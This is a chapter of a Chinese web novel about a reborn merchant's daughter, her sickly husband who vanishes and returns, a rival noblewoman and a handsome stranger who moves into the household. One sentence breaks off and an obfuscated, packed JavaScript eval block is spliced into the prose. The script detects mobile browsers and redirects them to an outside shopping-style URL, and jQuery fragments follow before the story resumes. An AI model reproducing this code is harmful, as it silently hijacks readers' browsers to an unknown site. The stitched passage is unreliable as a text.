默认冷灰
24号文字
方正启体

39. 云深客至渡危澜2

作者:听雪落千里本书字数:K更新时间:
    沈玦不见了。


    起初,谢晚并未太在意。他性子静,有时去城中书肆一待便是半日,或是寻个清静茶馆临窗看书。但到了晚膳时分,人还未归,遣人去他常去的几处询问,皆摇头说未见。谢晚心中那根弦,便微微绷紧了。


    雨又开始下,淅淅沥沥,敲打着屋檐,也敲在她逐渐焦躁的心上。她亲自去了沈玦那间僻静的书房。屋内收拾得一丝不苟,书案上笔墨纸砚井然,镇纸下压着一页临了一半的《灵飞经》,小楷清峻,力透纸背,却在一个字的转角处突兀地洇开一团墨渍,显出落笔时心绪的波动。常看的几卷书还摊在枕边,他惯用的那只青瓷药罐也还在原处。


    不像远行,倒像是……临时起意出去散心,却再没回来。


    谢晚站在空荡荡的书房里,环视着这过于整洁、缺乏生气的空间,一种熟悉的、冰冷的恐慌悄然攫住了她。前世,似乎也是在这个时节,沈玦也曾有过一次短暂的“消失”。那时她正为打通江淮盐路焦头烂额,对他的去留并未上心,只当他气闷出去走走,甚至隐隐希望他识趣些,自己有了去处,也省得她开口。后来他是自己回来的,更沉默,更消瘦,眼底最后一点光也寂灭了。她当时在忙什么?对了,在核对丁府送来的第一批盐引文书,一笔一笔,算着未来的金山银山。


    为什么……重来一次,他还是这样?一言不发地离开,将她置于这片令人心慌的空白里?她就那么不值得信任?撕了信,驳了父亲,还不够表明她的态度吗?他还要她怎样?把心剖出来给他看吗?


    一股夹杂着委屈的怒火冲上头顶,烧得她眼眶发涩。她扶住冰冷的书案边缘,指尖用力到泛白。


    “娘子,”管事低着头进来,声音带着小心,“门房说,午后见过姑爷独自出门,往城西方向去了。各处医馆、书肆、茶楼都问遍了,没有消息。城门口也打探过,未见姑爷出城。”


    城西?玉带河,揽月桥……他常去散心的地方。


    “再加派人手,沿着玉带河两岸仔细找!客栈、画舫、哪怕是河边的草棚都不要放过!”谢晚的声音有些发紧,“去问问河边居住的人家,有没有见过一个穿月白长衫、身形清瘦的年轻男子。”


    管事应声退下。谢晚在原地站了片刻,猛地转身,取过挂在墙角的蓑衣斗笠,径自向外走去。她不能再干等下去。


    雨丝细密,天色晦暗如暮。谢晚带着两个得力的小厮,沿着玉带河一路寻去。雨水打湿了石板路,泛着清冷的光。她问遍了河边浣衣的妇人、垂钓的老叟、甚至是嬉闹的孩童,得到的回复都是摇头。揽月桥上空无一人,只有雨水顺着古老的桥栏无声滑落,汇入下面幽深的河水。


    仿佛沈玦这个人,就这么凭空消失了,被这无边无际的雨幕吞噬。


    一种比前世更甚的恐慌,混合着被“背叛”的恼怒,在她胸中翻腾。他怎么敢?怎么能在她决心扭转一切、费力修补的时候,就这样一走了之?难道我都已经撕了那信还不够表达我的态度吗?难道她谢晚,在他心中就永远是个冷血无情、随时可以抛弃他的恶人?


    雨水顺着斗笠边缘流下,模糊了她的视线。心中那点隐约的不安和自责,被这股怨怒死死压住。她甚至没有去想,沈玦为何会“恰好”在丁仪可能出现的揽月桥晕倒,为何会“恰好”被丁仪所救。她满脑子都是他的“不告而别”,他的“任性”,他的“不信”。


    “娘子,雨越来越大了,这一带都快找遍了,姑爷会不会……已经回去了?或是去了别的亲友处?”一个小厮抹着脸上的雨水,小心翼翼地问。


    谢晚抿紧唇,望向河道更上游的方向。那边已是城外,山峦起伏,道路泥泞。“继续找。上游有个废弃的河神庙,他有时也会去那里。”


    一行人深一脚浅一脚地沿着泥泞的河岸往上游走。雨势不减,天色越发昏暗,远处山影只剩模糊的轮廓。河神庙破败不堪,蛛网尘封,空无一人。


    希望一点点湮灭。谢晚站在庙门前,看着外面连绵的雨幕,只觉得浑身冰冷,那股怒气被无助感冲刷得摇摇欲坠。他能去哪儿?他身子那么弱,这大雨天……


    “娘子,看那边!好像有路可以上山,那边有个观景亭,姑爷会不会……”另一个小厮指着河对岸一条掩在杂树野草中的小径。


    那小路极陡,被雨水浸泡后更是湿滑难行。但此刻任何一点可能都不能放过。谢晚咬了咬牙:“过去看看。”


    艰难地渡过一道简易木桥,三人开始攀爬那条小径。雨水混着泥浆,每走一步都打滑。谢晚心中焦急,走得快了些,在一个陡峭的转弯处,脚下踩着的一块石头突然松动!


    “姑娘小心!”


    惊呼声中,谢晚只觉脚下一空,整个人失去平衡,顺着湿滑泥泞的斜坡就滚了下去!天旋地转,冰冷的雨水和泥浆灌入口鼻,耳边是轰然的水声和两个小厮变了调的呼喊。她试图抓住什么,指尖只掠过冰冷的石壁和湿滑的草叶,下坠之势丝毫未减。


    下面……是乱石嶙峋的河滩,更远处,是雾气笼罩、深不见底的山崖!


    绝望攫住心脏的刹那,一道青影如电,自斜刺里疾掠而来!


    预想中的撞击和剧痛并未到来,一股柔和却坚定的力道猛地揽住了她的腰,将她下坠的势头硬生生带偏,两人一同滚倒在崖边一片相对平缓、长满湿滑苔藓的巨石上。谢晚被撞得七荤八素,惊魂未定,只感觉到身下并非虚空,而是坚实的臂膀,以及……一股清冽的、混合着墨香与淡淡草药气的陌生气息。


    他似乎在模仿某个人,但是又不觉得刻意。


    她急促地喘息着,雨水模糊了视线,勉强抬头,对上一双眼睛。


    救她的人是个年轻男子,似乎也是个书生打扮,穿着一件半湿的青色直裰,此刻正半跪在她身侧,手臂还虚护在她周围,以防她再次滑落。他发髻微乱,几缕湿发贴在额角脸颊,却丝毫无损那张脸的……惊人昳丽。


    是的,昳丽。谢晚从未见过一个男子生得这般……精致。眉眼如画,鼻梁挺直,唇色是天然的淡绯,肤色在雨水的浸润下显得愈发白皙剔透。最特别的是一双眼睛,瞳孔颜色偏浅,像是上好的琥珀,此刻因为关切和方才的惊险,漾着粼粼微光,竟比沈玦那双沉静的黑眸,更添几分动人心魄的清澈与……无害的温柔。


    他长得……竟比沈玦还要好看。不是沈玦那种清冷孤皎如月光的好看,而是春日桃花初绽、带着鲜活生气与水润光泽的俊美,近乎漂亮,却不显女气,反因那通身的书卷气和此刻眸中的诚挚,别有一种朗朗风致。


    “姑娘,你没事吧?”他开口,声音也清润好听,带着恰到好处的担忧,“可有伤到哪里?”


    谢晚这才回过神来,慌忙坐起身,避开他的搀扶,自己检查了一下。除了些擦伤和浑身泥泞狼狈,并无大碍。“没……没事。多谢公子救命之恩。”她定了定神,敛衽为礼,尽管在这泥泞山崖边,这礼节显得有些不伦不类。


    “举手之劳,姑娘不必客气。”那书生也站起身,彬彬有礼地退开一步,保持着一个恰当的距离。他目光扫过谢晚略显苍白的脸和湿透的衣衫,眉头微蹙,“雨势甚急,山路险滑,姑娘怎会独自在此险地?”他顿了顿,看向气喘吁吁从上面连滚带爬赶下来的两个小厮,“可是在寻人?”


    “正是。”谢晚心中焦急沈玦,也顾不得许多,“公子可曾在这附近,见过一位身穿月白长衫、身形清瘦、脸色苍白的年轻男子?大概这么高。”她比划了一下。


    书生凝神想了想,摇头:“在下在此处徘徊了片刻,是为寻几味罕见草药,并未见到如姑娘所描述之人。”他看了看天色和愈发凶猛的山雨,诚恳道:“此地不宜久留,恐有山石滑落之险。姑娘既要寻人,不若先随在下到前方不远处的山亭暂避,待雨势稍歇,再作打算?在下也可帮忙一同寻找。”


    他的提议合情合理,态度温文有礼,眼神清澈坦荡,令人难以拒绝。况且方才救命之恩属实。


    谢晚心中记挂沈玦,但也知如此大雨盲目寻找确非良策,且自己方才险些丧命,两个小厮也疲惫惊惶。她点了点头:“那……有劳公子了。不知公子高姓大名?”


    书生微微一笑,那笑容在这阴冷山雨中,竟有种驱散晦暗的明亮。


    “在下裴渠,一介游学书生,姑苏人士。”


    谢晚最终还是带着裴渠回了谢府。


    山亭避雨时,裴渠言谈举止斯文有礼,学识也颇渊博,谈及江南风物、古籍典故,皆能娓娓道来,且见解不俗。他自称是姑苏裴氏远支,家道中落,父母早亡,此次是变卖仅余家产游学四方,增长见闻,兼寻些谋生之路,如今盘缠将尽,正不知何处落脚。


    雨稍歇后,他们又在附近找寻了一番,依旧没有沈玦的踪影。谢晚心中那团火烧火燎的焦急与怨怒,被冰冷的雨水和徒劳的寻找浇熄了大半,只剩下无尽的疲惫和一种更深的不安。看着裴渠身上那件半湿的、料子普通的青色直裰,看着他被雨水打湿后更显莹白的侧脸和那双清澈含忧的琥珀色眼眸,一个念头突兀地跳了出来。


    带他回去。


    沈玦不是不告而别吗?不是不信她吗?不是宁可晕倒在丁仪面前,也不肯回来与她分说半句吗?


    好啊。那她也让他看看,这谢府,离了他沈玦,是不是就转不动了?是不是就没人了?


    她谢晚,离了他,是不是就活该独守空房,惶惶不可终日?


    一丝带着痛意的、近乎幼稚的报复心理,混杂着对裴渠适才救命之恩的感激,以及某种连她自己都不愿深究的、对那张过于精致好看的脸庞的微妙触动,让她做出了决定。


    “裴公子救命之恩,无以为报。若不嫌弃寒舍简陋,可暂居府中,一来调养,二来……谢家也有些产业文书需人打理,公子才学,或可相助。”谢晚语气平静,带着生意人惯有的、衡量价值的客气。


    裴渠似乎有些意外,随即露出感激而略带赧然的笑容:“这……如何使得?在下与姑娘萍水相逢,已蒙搭救,岂敢再叨扰府上?”


    “公子不必推辞。谢家尚有空余客房,也多一双碗筷而已。就当是……答谢公子方才援手。”谢晚语气坚决了几分,不容置疑地吩咐小厮,“回去后,将西跨院的‘听竹轩’收拾出来,给裴公子住。”


    “那……恭敬不如从命。谢过姑娘,谢过……府上。”裴渠深深一揖,姿态优雅,无可挑剔。


    回到谢府时,已是掌灯时分。府内灯火通明,却弥漫着一股压抑的气氛。谢秉坤听说女儿带回来一个陌生男子,还安置在了仅次于主院的西跨院,气得在正厅里又摔了一个茶盏,但碍于谢晚白日里那番“谁才是主人”的宣言,终究没敢冲到面前来闹,只阴着脸派人来打听裴渠的底细。


    谢晚懒得理会。她命人好生伺候裴渠洗漱更衣,又请了府里常用的大夫来给他看诊,借口是淋雨恐染风寒,自己则疲惫不堪地沐浴换衣。热水洗去一身泥泞冰冷,却洗不去心头沉甸甸的窒闷。


    她望着镜中自己略显苍白的脸,眼底有着清晰的倦色和一丝茫然的狠厉。


    沈玦,你在哪儿?看到我带别的男人回来,你会怎样?


    会……有一点在意吗?


    前世,你好像离我越来越远。


    这个念头让她心口刺痛,却又诡异地带来一丝快意。


    ---


    与此同时,城郊丁仪的别庄“枕流阁”内,却是另一番景象。


    这里与其说是别院,不如说是一座精心构筑、巧夺天工的山庄。坐落半山,引活泉为池,叠石成景,花木扶疏,即便在雨夜,廊下宫灯次第点亮,映照着潺潺流水与玲珑假山,恍若仙境。


    沈玦被安置在山庄深处最幽静的一处独立小院里,名唤“送玉斋”。陈设极尽雅致舒适,熏着宁神的百合香,炭盆烧得暖融融的,驱散了雨夜的寒湿。


    丁仪请来的大夫是城中有名的圣手,仔细为沈玦诊了脉,开了方子,又细细叮嘱了煎服之法与饮食禁忌。药是山庄里自备的上等药材,由专门的仆妇在小茶房里小心看守着煎好,准时送来。


    沈玦的身体确实虚弱,那日晕倒并非全然作伪。胸口的滞闷郁结,加上淋雨引动旧疾,让他几乎起不了身。但他神志始终清醒,对丁仪的一切安排,都保持着沉默的、冰冷的接受。


    他不抗拒喝药,因为不想让这具不争气的躯壳成为被摆布的借口;他也不刻意绝食,因为毫无意义。他只是把自己变成了一尊没有情绪的玉像,配合着,却隔绝着。


    丁仪每日都会来“送玉斋”小坐片刻。有时带一本新搜罗的孤本,有时是一碟精致的、据说对身体有益的茶点,有时只是隔着屏风,问问仆妇他的饮食起居。她从不越界,言辞体贴,笑容温婉,将一个“恰巧救下陌生病弱书生、并悉心照料”的大家闺秀形象扮演得无可指摘。


    但沈玦能感觉到那温婉表象下,日渐失去耐心的探究与一丝被漠视的不悦。


    这日傍晚,药送来得比平日稍晚了些。沈玦正靠坐在窗边的软榻上,望着窗外被雨水洗刷得格外青翠的竹影出神。仆妇将黑褐色的药汁端到他面前的小几上,浓郁苦涩的气味弥漫开来。


    沈玦眉头几不可察地蹙了一下,却还是伸手去端那温热的药碗。


    “且慢。”丁仪的声音从门口传来。她今日换了身雨过天青色的软烟罗长裙,乌发松松挽着,只别了一支碧玉簪,比平日更添几分居家随意的慵懒之美。她缓步走进来,示意仆妇退下。


    室内只剩下他们两人。炭火偶尔哔剥一声,衬得周遭格外寂静。


    丁仪走到榻前,并未坐下,只是居高临下地、仔细打量着沈玦苍白却平静的侧脸。他端药碗的手顿了顿,并未看她。


    “沈公子,”丁仪忽然轻笑一声,那笑声柔媚,却无端透着一股凉意,“你这般乖乖喝药,倒让我有些无趣了。”


    沈玦眼睫微颤,依旧沉默。


    丁仪俯下身,凑近了些,那股清雅的香气变得浓郁,几乎将药味都压了下去。她的声音压得极低,带着一种亲昵的、却令人毛骨悚然的威胁:“你知道吗?我最不喜欢别人敷衍我。你若是不肯好好爱惜自己这副身子……或者说,不肯领我的情……”


    她停顿了一下,红唇几乎贴近沈玦的耳廓,吐气如兰,说出的话却冰冷刺骨:


    “我就只好亲自去一趟谢府,把你‘请’回来。然后……按着你,一口一口,嘴对嘴地,喂你喝下去。”


    她说得慢条斯理,甚至带着点玩笑般的娇嗔语气,仿佛在说一件风流趣事。可那字里行间不容错辨的掌控欲和某种近乎残忍的兴致,让沈玦端着药碗的手指,骤然收紧。


    他缓缓抬起眼,第一次如此近距离地、毫无避讳地看向丁仪。她的眼睛很美,水汪汪的,此刻却清晰地映出他苍白的面容,和那眼底深处一闪而过的……荒谬感。


    是的,荒谬。


    沈玦忽然极轻、极淡地笑了一下。那笑容虚弱,却奇异地冲散了他周身沉寂的冰雪,透出一种洞悉的疲惫与疏离。


    “丁小姐,”他开口,声音因久未多言而有些低哑,却异常清晰,“何必如此大费周章?”


    丁仪挑眉,似乎没料到他是这个反应。


    “沈某不过一介无用病躯,在谢家是,在丁小姐这里,亦是。”沈玦的目光平静地掠过她精心修饰的脸庞,看向她身后华美却空洞的室内陈设,“小姐将我留在此处,与收藏一件别致的古玩,饲养一只稀有的雀鸟,并无本质不同。新鲜劲儿过了,或厌了,或碎了,弃之即可。”


    他顿了顿,语气甚至带上了一丝几不可察的、近乎怜悯的嘲意:“既只是玩物,又何必动气,乃至……说出那般有失身份的话来?”


    丁仪脸上的笑容,终于一点点凝固,消失。那双总是漾着温柔水波的眼睛,慢慢沉静下来,变得幽深难测。她盯着沈玦,像是第一次真正看清这个病弱书生的内里。


    他看穿了。不仅看穿了她表面的意图,甚至看穿了她心底那点连自己都不愿深究的、将人物化的掌控癖好。他如此平静地说出来,没有愤怒,没有恐惧,只有一种彻底认命般的清醒,和一丝……对她这番作态的轻微鄙夷。


    这比任何激烈的反抗,都更让她感到一种被冒犯的恼怒,以及一种更强烈的、想要打破他这层冰冷外壳的欲望。


    室内的空气仿佛凝滞了。炭火的热气,药的苦味,她身上的幽香,混杂在一起,令人窒息。


    良久,丁仪缓缓直起身,退开两步,脸上重新挂起那无懈可击的温婉笑容,只是眼底再无半分暖意。


    “沈公子说笑了。”她语气轻飘飘的,“你好好休息,按时用药。我明日再来看你。”


    说完,她转身离去,步履依旧优雅,裙裾拂过光洁的地面,没有一丝声响。


    沈玦直到她的身影消失在门外,廊下的灯光重新将寂静填满,才缓缓松开了紧握着药碗的手指。碗沿几乎被他捏得温热。


    他垂下眼,看着碗中黑沉沉的药汁,映出自己模糊扭曲的倒影。


    然后,他端起碗,仰头,将那一碗苦涩至极的液体,一饮而尽。


    喉间火烧火燎,胃里翻腾不适。


    但总比……别的什么要好。


    他得活着。至少现在,不能以那种不堪的方式,死在丁仪手里,或是成为她用来刺激、羞辱谢晚的工具。


    尽管,谢晚或许……早已不在意了。


    尽管,谢晚或许……没有心。


    他就该看明白了。


    谢晚爱的,从来不是他沈玦这个人。她爱的是沈玦能为她提供的价值——早年是识文断字、打理书稿的清客价值,后来是散尽家财、供她起步的资本价值,再后来,是他这副皮囊与“谢晚夫君”名分所能交换的、更进一步的权势价值。


    她欣赏的,或许是他那份与谢家格格不入的清冷书卷气,但那欣赏如同孩童看中一件别致的玩具,新鲜时把玩,厌弃时便可丢弃。她从未试图真正理解他那份清冷下的坚持与骄傲,也从未在乎过他那病弱躯壳里藏着的、不愿折腰的魂灵。


    这个念头划过心底,带起一阵细微却绵长的刺痛,比那药汁更苦。


    沈玦在“送玉斋”又静养了两日。


    丁仪果然如她所说,每日都来,有时带着书,有时带着琴,有时只是隔着帘子问安。她不再提那日近乎狎昵的威胁,言行举止恢复了大家闺秀应有的分寸与端庄,仿佛那日的失态从未发生。只是,她停留在沈玦身上的目光,时间悄然变长了,那温婉笑意下的审视,也愈发深邃难测。


    沈玦依旧是一潭死水。按时喝药,按时用膳,顺从地让大夫诊脉,然后便是对着窗外发呆,或是闭目养神。他对丁仪的一切示好都报以沉默的、有礼的疏远,像一块被流水日夜冲刷却始终无法焐热的寒玉。


    丁仪心中的那点异样,便在这日复一日的无声对峙中,悄然滋长。


    她见过太多对她趋之若鹜的男子,或为她的家世,或为她的容貌,或兼而有之。他们的殷勤讨好,她早已腻烦。沈玦却截然不同。他的冷淡不是欲擒故纵,他的沉默并非待价而沽,那是一种从骨子里透出来的、对自身处境的漠然,以及对周遭一切(包括她丁仪)的……无谓。


    这种无谓,像一根极细的刺,扎进了她向来顺遂高傲的心底。起初只是微恼,后来竟生出一种奇异的痒,催促着她去探究,去打破,去看到他冰层下可能存在的裂痕,或是……别的什么。


    然而,她也清楚地知道,强留无益。沈玦的心根本不在“枕流阁”,他那双沉静的黑眸偶尔望向窗外某个方向时,里面空茫一片,却又仿佛承载着千斤重负。那重负,大抵与谢晚有关。


    想到谢晚,丁仪唇角勾起一抹极淡的、冷诮的弧度。一个精明算计到骨子里的商贾之女,满身铜臭,目光短浅。撕了一封信,驳了父亲,就以为能力挽狂澜,守得住她那点可笑的“夫妻情分”?沈玦那样的人,岂是她谢晚能消受、能理解的?


    丁仪信步走到窗前,望着庭院中被雨水洗刷得晶莹剔透的芭蕉叶。天气竟意外地放晴了片刻,一缕稀薄的阳光穿透云层,落在湿漉漉的青石板上,泛起短暂的金光。她忽然觉得,或许不必急。


    依着谢晚那副利益至上、耳根子又未必真硬的性子,内忧外患之下,将沈玦拱手送出,不过是迟早的事。前世如此,今生又能有多大差别?自己此刻强行扣着人,反倒落了下乘,显得急切。不如……放他回去。


    让他亲眼看看,谢晚是如何在压力下动摇,如何再次将他置于权衡的天平之上。让他那颗看似冰冷的心,再被现实狠狠刺伤一次。到时候,他才会明白,谁才是真正能庇护他、珍视他的人,即便这份珍视带着别样的趣味。


    放长线,才能钓大鱼。对于沈玦这样的“鱼”,普通的饵料和急躁的收线,都是无用的。


    只是……


    丁仪转过身,目光掠过室内沈玦用过的那张紫檀木嵌螺钿小几,上面空荡荡的,只残留着一点药碗放置过的痕迹。她心里那点异样的情绪又泛了上来,丝丝缕缕,并不强烈,却挥之不去。


    就这么让他走了,这两日的“悉心照料”,岂非白费?总得……留点念想,或者说,确保这条“线”不会真的断掉。


    她沉吟片刻,扬声唤道:“青禾。”


    一个身着浅碧衣裙、面容秀静的大丫鬟应声而入,敛衽行礼:“小姐。”


    “沈公子身子已无大碍,想必也归心似箭。”丁仪的语气恢复了平日里的淡然,“你去安排一下,用我的马车,稳妥地送沈公子回谢府。”


    青禾微微一愣,似有不解,但很快垂首应是。


    “还有,”丁仪走到书案前,执笔蘸墨,在一张洒金花笺上快速写了几行字,轻轻吹干,递给她,“将这方子交给沈公子,是王大夫根据他脉象调整的后续调理方剂,让他按时服用。”


    青禾双手接过。


    丁仪顿了顿,状似随意地补充道:“送他回去后,你不必急着回来。谢府那边……想必正热闹。你找个由头,在附近盘桓两日。”


    青禾眼中闪过一丝了然,头垂得更低:“奴婢明白。小姐是想知道……沈公子回去后境况如何?谢家是否会为难于他?”


    “为难?”丁仪轻笑一声,指尖拂过案上一支开得正好的白山茶,花瓣柔嫩洁白,“谢家如今是谢晚当家,她既撕了信,面上总得过得去。我不过是想知道……”她语气微缓,似在斟酌词句,“沈公子有没有好好遵医嘱,按时喝药。毕竟,他那身子,经不起折腾。”


    她抬眼,望向窗外那缕已然消失的阳光,云层重新聚拢,天色复又阴沉下来。


    “再者,”她声音放得更轻,几乎像是自言自语,“谢晚那性子,未必能容人。沈玦此番回去,若遭冷遇,或是……有了什么变故,总该有人知晓才是。”


    青禾不再多问,只恭敬道:“奴婢定会留心。”


    “去吧。”丁仪挥了挥手。


    看着青禾退下的背影,丁仪缓缓坐回椅中,指尖无意识地摩挲着那冰凉的花瓣。


    只是关心他是否按时用药罢了。


    只是好奇,谢晚在压力之下,会如何对待这个她曾试图舍弃、又勉强挽回的夫君。


    只是……想确保这条线,还牢牢攥在自己手里。


    她如此告诉自己,将心头那丝说不清道不明的烦闷与隐约的期待,归结为对一件有趣“玩物”去向的合理关注。


    仅此而已。


    窗外,又渐渐沥沥地下起了雨。枕流阁内暖香依旧,却仿佛因某个人的即将离去,而显得空寂了几分。丁仪独坐窗前,听着雨声,第一次觉得,这精心布置的雅致居所,似乎有些过于安静了。


    沈玦回到谢府时,天已擦黑,细雨又飘了起来。


    丁仪的马车将他送到侧门外便悄然离去,并未惊动太多人。他独自一人,撑着来时那把旧伞,踩着湿滑的石板路,一步步走回那座熟悉的、却让他感到无比窒息的宅院。山庄几日,药石温养,他气色略好了些,但眉宇间的郁色与眼底的沉寂,却比离开时更浓重。


    刚进二门,便隐约听得前厅方向传来一阵笑语,夹杂着父亲谢秉坤比平日高昂许多的谈吐声,还有一个陌生的、清润温和的男声在谦逊应答。那笑声刺耳地钻进沈玦耳中,他脚步顿了顿,伞沿雨水成串滴落,在脚边汇成小小一洼。


    他没有往前厅去,径直往自己那僻静的书房走。廊下偶遇的丫鬟小厮见他回来,都露出讶异神色,匆匆行礼,眼神却有些飘忽躲闪。沈玦只当未见。


    还未走到书房,却在穿堂处迎面撞见了谢晚。


    她似乎刚从前面回来,身上还带着前厅暖阁里熏染的、混合了酒菜与陌生香料的气息,发髻一丝不苟,绛紫裙裾拂过光洁的地面。见到他,她明显愣了一下,脚步停住,目光在他身上迅速扫过,似在确认他是否完好,随即,那目光里便掠过一丝复杂难辨的情绪,像是松了口气,又像是被什么刺了一下,最终沉淀为一种刻意维持的平静。


    “回来了?”她开口,语气平淡,听不出喜怒。


    “嗯。”沈玦应了一声,垂下眼睫。


    短暂的沉默在雨声中弥漫。穿堂风过,带着湿寒,吹得两人衣袂微动。


    “那位是裴公子,”谢晚忽然开口,打破了沉寂,语气如同介绍一件新添置的、颇有价值的摆设,“今日在城外遇险,幸得他相救。他乃姑苏人士,游学至此,暂无落脚处,我便邀他暂居府中西跨院。”她顿了顿,目光掠过沈玦苍白的脸,“他是我的救命恩人。”


    救命恩人。


    四个字,清晰地砸在沈玦心坎上。


    他缓缓抬起眼,看向谢晚。她的脸庞在廊下灯笼的光晕里,显得有些模糊,只有那双眼睛,明亮,甚至带着一丝他看不懂的、近乎挑衅的亮光。她在看着他,等待他的反应。


    沈玦只觉得胸腔里那股熟悉的滞闷,瞬间化为冰冷的钝痛,蔓延至四肢百骸。他看着她,试图从她脸上找到一丝愧疚,一丝为难,哪怕只是一丝歉意。没有。只有平静,以及那缕令他心寒的、近乎炫耀般的介绍。


    原来,她冒雨外出寻他,或许只是顺便,遇了险,被一个“无家可归”的陌生男子所救,然后,她便顺理成章地将人带了回来,安置在仅次于主院的西跨院。


    而他,她的正头夫君,失踪几日,生死未卜地归来,得到的只是一句平淡的“回来了”,和一段关于另一个男人为何会出现在她家中的解释。


    多么讽刺。


    本来她将他送去丁府,至少还冠以“为了谢家前程”的名头,还曾有过几分虚伪的歉意与权衡的痛苦。后来,她撕了信,驳了父亲,他原以为……原以为或许真的有所不同。哪怕只是一点点。


    现在看来,是他痴心妄想。她谢晚的世界里,利益与冲动永远摆在最前。需要时,他是可


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109858|195845||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    以牺牲的棋子;不需要时,他是占着位置的障碍;如今,更是成了她用来平衡某种心理、甚至可能是用来刺激他的工具。


    那所谓的“夫妻一体”,那烧毁和离书时的决绝火光,此刻回想起来,像一场荒诞至极的戏码。而他,就是戏台上最可笑的那个丑角。


    失望,像深冬的冰水,浸透了他每一寸骨骼。不是愤怒,不是怨恨,只是一种彻骨的、了无生气的失望。


    他望着谢晚,忽然极轻、极淡地笑了一下。那笑容空洞,没有温度,甚至带着一丝解脱般的了然。


    “原来如此。”他听见自己的声音平静地响起,没有波澜,“救命恩人,理当如此。”


    说完,他不再看她,侧身从她身边走过,径直走向自己书房的方向。背影挺直,却萧索得像一棵即将落尽最后一片叶子的枯树。


    谢晚站在原地,看着他毫不留恋离去的背影,方才那股刻意撑起的平静骤然碎裂。她以为会看到他皱眉,不悦,甚至质问。可他只是那样看了她一眼,笑了笑,然后走了。


    那眼神,那笑容,比任何怒骂争吵都更让她心慌。仿佛有什么东西,在她还没反应过来的时候,就已经彻底失去了。


    ……


    接下来的几日,谢府表面维持着一种古怪的平衡。


    裴渠正式住了下来。他容貌昳丽,谈吐风雅,又刻意放低了姿态,对谢晚恭敬有加,对谢秉坤更是投其所好,时常陪着谈论些古董字画、风月闲篇,哄得谢秉坤眉开眼笑,越发觉得这个“救命恩人”知情识趣,比那个整日阴沉着脸的病秧子女婿强了百倍。


    谢晚忙于处理因沈玦失踪和父亲暗中施压而有些动荡的生意,又碍于“恩人”的情面,对裴渠的起居颇为关照,时常过问。裴渠则总是恰到好处地表达感激与不安,偶尔流露出几分寄人篱下的落寞,引得谢晚心中那点歉疚与微妙的好感愈发滋长。两人时有接触,落在旁人眼中,便多了几分遐想。


    沈玦则彻底将自己封闭起来。除了必要的用膳,也常常避开众人,他几乎不出书房院门。谢晚去过两次,一次被他以“身体不适”为由挡在门外,一次进去,只见他对着棋盘独自打谱,对她的话恍若未闻。那种无声的抗拒,比争吵更让谢晚难受,却也激起了她骨子里那股不服输的倔强——他越是这样,她越不想低头。


    谢秉坤将这一切看在眼里,心中窃喜。这日,他特意寻了个由头,带着裴渠来到沈玦书房附近的小花园“偶遇”正在独自散步的沈玦。


    “玦儿啊,”谢秉坤摆出岳父的架子,语气却充满讥诮,“这几日气色还是不好,得多出来走动走动,别整天闷在屋里,像个见不得光的。”


    裴渠跟在谢秉坤身后,对沈玦拱手为礼,笑容温润无害:“沈兄。”态度无可挑剔。


    沈玦看了他们一眼,不欲多言,微微颔首,便打算离开。


    “哎,别急着走啊。”谢秉坤拦住他,目光在沈玦身上那件半旧直裰上扫过,又瞥了一眼身旁锦衣玉带、风度翩翩的裴渠,故意叹道,“你看看裴公子,虽是客居,但仪表堂堂,学识又好,晚儿很是倚重。你再看看你……唉,不是我说你,男子汉大丈夫,总得有点用处,不能总靠着女人养着,还整天摆脸色给谁看?”


    沈玦脚步顿住,袖中的手缓缓握紧,指节泛白。


    裴渠连忙道:“谢伯父言重了。小侄蒙谢娘子收留,已是感激不尽,岂敢与沈兄相比?沈兄乃谢娘子正配,气度清华,非我等俗人可及。”这话看似谦逊,实则将“正配”与“气度清华”放在嘴边,更像是一种绵里藏针的对比。


    沈玦扯了扯嘴角,依旧沉默。


    谢秉坤却像是被提醒了,冷哼道:“正配?也得有正配的样子!整日病怏怏的,连个子嗣都……”他话未说完,但未尽之意昭然若揭。


    裴渠适时露出些许尴尬神色,低声劝道:“伯父,沈兄身体不适,还是少说两句吧。不如让小侄陪伯父去前厅看看新得的那幅画?”


    谢秉顺坡下驴,又瞪了沈玦一眼,才被裴渠劝着走了。


    沈玦站在原地,看着他们离去的背影,春日暖阳落在身上,却只感到刺骨的寒意。那些话语,像淬了毒的针,一根根扎进他早已千疮百孔的自尊里。


    然而,这仅仅是个开始。


    两日后,谢晚正在账房核账,裴渠身边的小厮忽然慌慌张张跑来,说裴公子在花园凉亭内突发急症,腹痛如绞。谢晚连忙赶去,只见裴渠脸色惨白,额角冷汗涔涔,蜷缩在石凳上,痛苦呻吟。


    “怎么回事?午膳吃了什么?”谢晚急问。


    裴渠的小厮扑通跪下,带着哭腔道:“回娘子,公子午膳只用了些清粥小菜,与往常无异。只是……只是午膳前,沈姑爷院里的丫鬟送来一碟新做的山药糕,说是姑爷念及公子客居,特意让送来尝尝。公子推辞不过,用了两块,不久便……”


    话音未落,裴渠又痛苦地闷哼一声。


    沈玦院里的丫鬟?山药糕?


    谢晚心头一沉。她立刻派人去请大夫,同时让人去沈玦院里询问。


    沈玦很快被请到了现场。他看了一眼痛苦不堪的裴渠,又看了看跪在地上指证的小厮,眉头蹙起:“我并未让人送过什么糕点。”


    “可那丫鬟分明说是奉了姑爷您的命!”小厮急道。


    “我房内只有两个粗使婆子,并无年轻丫鬟。”沈玦语气冷淡却肯定。


    这时,派去询问的管事回来,面色古怪,低声对谢晚道:“娘子,问过了,沈姑爷院里的确没有年轻丫鬟。但是……守二门的一个婆子说,午前似乎看见……看见姑爷身边常跟着的那个小厮墨竹,提着一个食盒往花园方向去了。”


    墨竹是沈玦从沈家带过来的唯一一个小厮,自小跟着他,最是忠心不过。


    谢晚看向沈玦。


    沈玦脸色白了一分,袖中的手微微发抖:“墨竹今日告假出府,为他娘亲抓药,此刻并未在府中。”


